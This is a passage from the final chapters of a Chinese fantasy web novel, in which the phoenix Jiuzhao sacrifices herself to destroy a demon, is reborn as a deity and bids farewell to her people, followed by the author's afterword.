良久,见自身储存的怨气消耗过半,而九昭吸收的速度丝毫不减,甚至更快。 虚魔罗终于感受到了恐惧。 眼前的存在并非要来封印它,竟是要与它同归于尽—— 留得青山在,不愁没柴烧。 什么死战到最后,只是三清天那些迂腐的老顽固所坚守的俗规。 几番思忖和自我安慰过后,虚魔罗很快理清目前的形势它,果断放弃所有进攻九昭的触角,断臂求生,将身体压缩成拳头大小,朝着地表之上疾掠而去! 它要逃离这个疯子,去寻找新的寄生地! 就算逃不开,也可通过吞噬地上生活着的那些魔族,来重新壮大力量! 察觉其意图,九昭强忍几乎要将她撕裂的剧痛,散作华光追击而上。 两道光束一前一后,猛地撞碎狭窄的地缝,重返焚业海的上空,继而穿透云层,直冲九霄。 高空之中,九昭俯瞰下方变得渺小的山川城池。 她绝不能容许虚魔罗狗急跳墙,掠夺下方无辜生灵的性命来补充自身。 不可犹豫! 更不可为其创造机会! 电光火石之间,九昭的眼神倏尔坚定。 她的身形不断拔高拉长,显现出巨大而华美的凤凰原身。 羽翼豁然展开,彩光流转,辉映日月。 “锵——!!” 穿云裂石的凤鸣声后,她敛翅俯冲,张开巨喙,将那试图融入天光的漆黑影子,一口吞入腹中! 时间凝固须臾。 旋即,难以形容的痛楚在她的四肢百骸中此起彼伏地爆裂! 虚魔罗没有马上死去。 他以燃烧本源的代价将力量释放到极致,渴望从九昭以身铸成的血肉囚笼中赢得一线生机。 怨气肆虐,横冲直撞。 撕裂九昭的五脏六腑,将她的血液一片一片封冻。 萦绕在凤凰周身的彩光垂垂黯淡,更要命的是,她的羽毛也在以肉眼可见的速度被漆黑取代。 九昭再一次张开凤喙,发出的却是凄厉扭曲的尖鸣。 她在厚重晦暗的云层间翻滚挣扎、跌撞斜飞,优美的身躯因为那怨气的疯狂冲击而被迫膨胀、变形,仿佛一件撑到极致,布满裂纹,马上就要轰然爆裂的瓷器。 本命翎的生机也在节节衰退,即将溃散。 整个过程无比漫长。 仿佛度过了千万年。 唯有心中最后一缕不变的执念,支撑着九昭濒临崩溃的神志: 彻底消灭它。 …… 直至到达某个临界点。 体内困兽犹斗的黑影,在发出最后一声充满不甘、恐惧与难以置信的尖锐嘶嚎后,砰得炸裂开来,碎作无数残块,被九昭的本源之力捕捉、分解、燃烧殆尽。 而九昭的凤躯,也沉重到再也无法挥舞一次翅膀。 望着漆黑的凤羽,她仿佛又嗅到了那种死物腐烂的气息。 这一次,死去腐烂的,不是别人,是她自己。 生机迅速从脉络里流逝,吸收完怨气之核的阴阳二火却在急于寻找出口,释放过载的力量。 不、不能落下。 下面,是她的子民…… 微弱的念头浮现脑海,提醒着九昭放任自身坠落的后果。 她勉力睁开快要合上的眼眸,望着天空的更高处,再度榨取零星一点力气。 羽翼拍击风声的响动,盖过心跳和脉搏。 嗬、嗬…… 九昭半张的凤喙中,呼出稀薄的热气。 要高一些。 再高一些。 高到,不会伤害到任何人为止。 那是一片连云端都没有造访过的地方。 那里温暖祥和。 仅有她自己。 却仿佛重新回到了母亲的怀抱里—— 母亲。 九昭喃喃念出这个称呼。 恍惚的眸光中,她的羽翼变回赤/裸的手臂,朝着虚空中朝她微笑的母亲尽力探去。 …… 浑身漆黑,甚至可以用丑陋来形容的凤凰,停止了挣扎。 如同回归母亲温暖的臂弯,它安然悬浮在高天之上。 一点金色的火苗突然自她心口诞生,随即呈燎原之势,全然吞噬了它狰狞的身躯。 三界各处,人们似有感应。 不约而同仰起面孔,望见落雪飘零。 起初堪堪几片,不多时,纷纷扬扬,宛若天女散花。 下雪常有。 如日复一日的生活般,不会引起任何人的兴趣。 可那雪花却是漆黑的。 不祥的颜色落在眉睫间,意外泛起微薄的暖意。 …… 怨气,散尽了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 205| 第205章 终章(下) ◎“终有一日,我们还会相见。”◎ 九昭以为自己死了。 意识漂浮在无边混沌中。 无时间, 无空间,连自我都渐趋模糊。 她感受不到身躯的存在,更难以言喻自己此刻的状态。 如果硬要形容。 就好像悬浮在残烛上的虚火, 等待着从远处拂来的风, 吹灭最后一丝余烬。 这便是死亡么? 比她想象的更为平淡。 只是为何还有知觉? 九昭漫无目的地遐想着。 一个熟悉的声音却在这时穿透虚无,直达她意识核心。 “孩子,你做得很好。” 是穹煌。 见识过圣火坛内阴冷沉郁的她,也见识过现身人前, 威严伟岸的她。 九昭自觉自己同穹煌之间,更接近于属衙内各司其职的共事关系。 穹煌借给她力量,而她替她完成净化怨气的使命。 既是共事者, 怎会用到“孩子”这般肉麻的称呼。 九昭想要揶揄,却发不出声音。 好在穹煌似乎能感应到她的心绪,笑着说道:“万物皆由我分娩诞育,叫你声‘孩子’又有何不可?” 好吧。 死都死了。 让你占几句口头便宜, 也没什么大不了的。 九昭继续用心声回应。 谁知穹煌蓦地止了玩笑, 郑重反问:“你以为这就是终结吗?你既拼尽全力完成了我的托付, 我又怎舍得叫你在大好的年华早早死去?告诉我,九昭, 你懂得什么叫做真正的涅槃吗?” 涅槃。 涅槃不死, 浴火重生。 这是每只凤凰与生俱来的能力。 但生而在世,无人能够做到不死, 九昭从来只把使用本命翎消耗掉一次性命, 视作“涅槃”。 涅槃三次, 再受重创。 哪怕强悍如凤凰, 也会彻底死去。 “涅槃不仅仅是死去之后的复活。” 穹煌徐徐解释道, “它是超越, 是蜕变,是积蓄勇气,突破自我的上限,你从只知享乐,不问世事的三清天神姬,到为决意担负责任,天下苍生和三界和平牺牲自我,这便是属于凤凰真正的涅槃—— 话至末梢,她的语调亦透出几分与有荣焉的自豪,“而你的胸怀和奉献,也终于触动了天道。” 恍惚间,九昭似乎听懂了什么。 但随机而来的,是加倍的迷茫。 她只是做了必须要做的事,从未想过会得到什么回报。 然而,穹煌却不容她如此作想。 “天道至公,赏罚分明。” 她正色肃穆,“你已修成正果,当登神位。” 话音方落,漆黑的虚空忽然亮起。 一束光辉从天而降,将九昭的意识笼罩其中。 那光辉不同于世间任何仙法秘术,至纯、至净、浩瀚无匹,却又包容万物。 九昭感觉到自己在被重塑——不是简单的血肉焕生,而是从神魂内核开始的雕琢再造。 无数天地法则涌入她的灵台,过往难解的奥秘此息豁然开朗。 光芒渐散,她缓缓睁眼。 随着翅膀的一次扇动,周遭剩余的黑暗荡然无存。 神光将混沌照亮到极致,巨大的凤凰骄傲仰起颈项,每根翎羽都仿佛由日光与火焰直接凝成。 九昭心念微动,化为人形。 信手一挥,神力凝结的剔透镜面映照她的容颜。 她的五官与往昔别无二致,神韵却截然不同。 瞳眸流转,尽是大象无形的气度。 待她端详完毕,穹煌一袭白衣的身影取而代之出现在镜中:“从今日起,你便是天道化身,众神之神。我将最后的神祖之力传授于你——用以守护三界平衡,维系万物秩序。” 她示意九昭伸出手掌。 两人隔着镜面指尖对指尖相触。 磅礴的神力尽数涌入她体内,与她的本源完美交融。 弹指一息,她无需动用法术,却感知到了三界万物。 他们的喜怒哀乐,所思所想,皆在她的眼中无所遁形。 九昭一步踏出,显形与焚业海、三清天的交界。 怨气的消散,纷扬的落雪,象征着她的死去。 更宣告三界,从此再无仙魔之分。 登临为帝的扶胥,正身体力行与凤凰族长无咎携手,撤去抵御怨气的屏障,妥善安置两族子民。 见九昭的面容自高空中浮现,他们愣了一愣。 紧接着,纷纷满脸激动地跪拜叩首:“恭迎共主归来!” 后方出力的人群里,瀛罗、朱曜等相熟的面容赫然在列。 瀛罗更是狂喜到语无伦次:“我、我就知道,你,九昭,谢谢你还活着——” 九昭素手轻抬,将所有跪倒之人托起:“不必对我行礼,我也不会再回到仙魔共主的位置。” 举众哗然。 “帝座,这是为何?” 扶胥上前一步,原本寂若死灰的瞳孔闪烁着湿润的光泽,“除了您,还有谁堪统御两界?” “我说过,这个身份,你从来都做的比我更好。” 九昭俯瞰的视线久久停留在青年身上,心底掠过一丝说不清的留恋。 但她很快将其抚平,只是温和地说道:“我已不再是从前的九昭。作为天道化身,我的职责是守护整个三界的平衡,不可偏袒任何一方,所以统治者的身份不再适合我——更何况,你们真正需要的也不是统治者,而是在一位英明之人的带领下,去亲手开创更加光明的未来。” 无咎向前一步,情绪复杂:“那么,您要去往何处?” “万物为伴,天地为家。 “有许多曾经向往却未涉足的风景在等待着我。” 九昭勾起唇角,微微一笑,“不必寻我,终有一日,我们还会相见。” 【作者有话说】 写了大半年,说实话也是写得很痛苦的一本,不仅是生理(腰痛),还有心理。 想努力写出狗血纠葛,但无奈我是个淡人,好像写什么都是淡淡的() 开放式结局,九昭其实内心还对一些人存有感情,这就意味着将来她见过千山万水累了的时候,或许会默许一个人陪伴在自己身边。 正文就这样完结啦,后续会不定期写几篇福利番外,谢谢大家这么久的陪伴,鞠躬(!!) 下一本应该会在谁是红杏、教你怎么擦和恶毒女配之间选择魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m